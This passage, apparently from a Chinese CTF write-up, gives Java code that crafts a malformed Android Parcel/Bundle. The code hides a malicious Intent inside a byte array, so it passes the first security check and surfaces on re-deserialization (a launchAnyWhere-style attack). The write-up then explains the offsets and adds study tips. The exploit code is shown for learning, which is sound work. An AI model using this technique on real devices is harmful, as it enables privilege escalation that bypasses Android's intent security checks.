        obtain.writeInt(-1);
        obtain.writeInt(0x4c444E42);

        obtain2.writeInt(3); // Bundle的键值对数目
        // 1. 依次构造Bundle中的三个键值对
        obtain2.writeString("launchanywhere"); // key string 1 (android.os.VulnParcelable的键值对)
        obtain2.writeInt(VAL_PARCELABLE);
        obtain2.writeString("android.os.VulnParcelable");
        obtain2.writeInt(1); // opt
        obtain2.writeInt(0); // o2 
        obtain2.writeInt(0); // size

        // 长度为13的string实际上会占用28字节
        obtain2.writeInt(13); // key string 2
        obtain2.writeInt(3); // new key string 2
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(13); // new value 2: VAL_BYTEARRAY (刚好覆盖到"intent"前的位置)
        obtain2.writeInt(56); // size
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(1); // value 2: VAL_INTEGER
        obtain2.writeInt(1); // int
        obtain2.writeInt(13); // key string 3
        obtain2.writeInt(22);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(13); // value 3: VAL_BYTEARRAY
        obtain2.writeInt(-1); // size域占位,在这个ByteArray里藏了一个intent的键值对;第一次读看不到,第二次读会露出来

        // 2. 隐藏的恶意intent的键值对
        int dataPosition = obtain2.dataPosition();
        obtain2.writeString("intent"); // new key string 3
        obtain2.writeInt(VAL_PARCELABLE); // new value 3
        obtain2.writeString("android.content.Intent");
        // obtain3用于存储想要launch的intent的序列化数据
        intent.writeToParcel(obtain3, 0);
        obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
        // 设置ByteArray的size域
        int dataPosition2 = obtain2.dataPosition();
        obtain2.setDataPosition(dataPosition - 4);
        obtain2.writeInt(dataPosition2 - dataPosition);
        obtain2.setDataPosition(dataPosition2);

        // 3. 设置obtain也即Bundle的size域,然后把obtain2中的键值对们加进去
        int dataSize = obtain2.dataSize();
        obtain.setDataPosition(bundleLenPos); // 不再是0了
        obtain.writeInt(dataSize);
        obtain.writeInt(0x4c444E42); 
        obtain.appendFrom(obtain2, 0, dataSize);
        obtain.setDataPosition(0);

        return obtain;
    }
}

在第一次反序列化Parcel读数据、检查安全问题的过程中,系统看到的Bundle数据包含以下三个键值对:

  • key为"launchanywhere";value为一个VulnParcelable对象。
  • key为长度为13的一个字符串(28 bytes);value为一个Int对象。
  • key为长度为13的一个字符串(28 bytes);value为一个ByteArray对象,该ByteArray会把恶意intent数据包含住,因此其长度需要在填充完后续payload后再设置。

在第二次反序列化Parcel读数据、进行启动intent等操作时,由于前面一次读写导致Parcel内容出现4字节偏移,系统看到的Bundle数据会发生变化,其包含以下三个键值对(此时不再有安全性检查):

  • key为"launchanywhere";value为一个VulnParcelable对象。
  • key为长度为3的一个字符串(8bytes);value为一个长度为56字节的ByteArray对象,其后紧跟着名为"intent"的键。
  • key为"intent";value为一个android.content.Intent对象,此时暴露出来就不会被安全性检查发现。(攻击者的核心payload

通过构造这样形式的恶意Parcel数据,结合launchAnyWhere的触发场景,就能够以Settings App的权限读取题目flag了。

5. 小结

  • 解题时,多搜集相关漏洞类型的CVE及其利用代码。
  • 理解漏洞原理时,多看AOSP相关源码,如Parcel.java
  • 后续可以学习一下新版本Android系统中针对Parcel序列化新引入的安全机制。

参考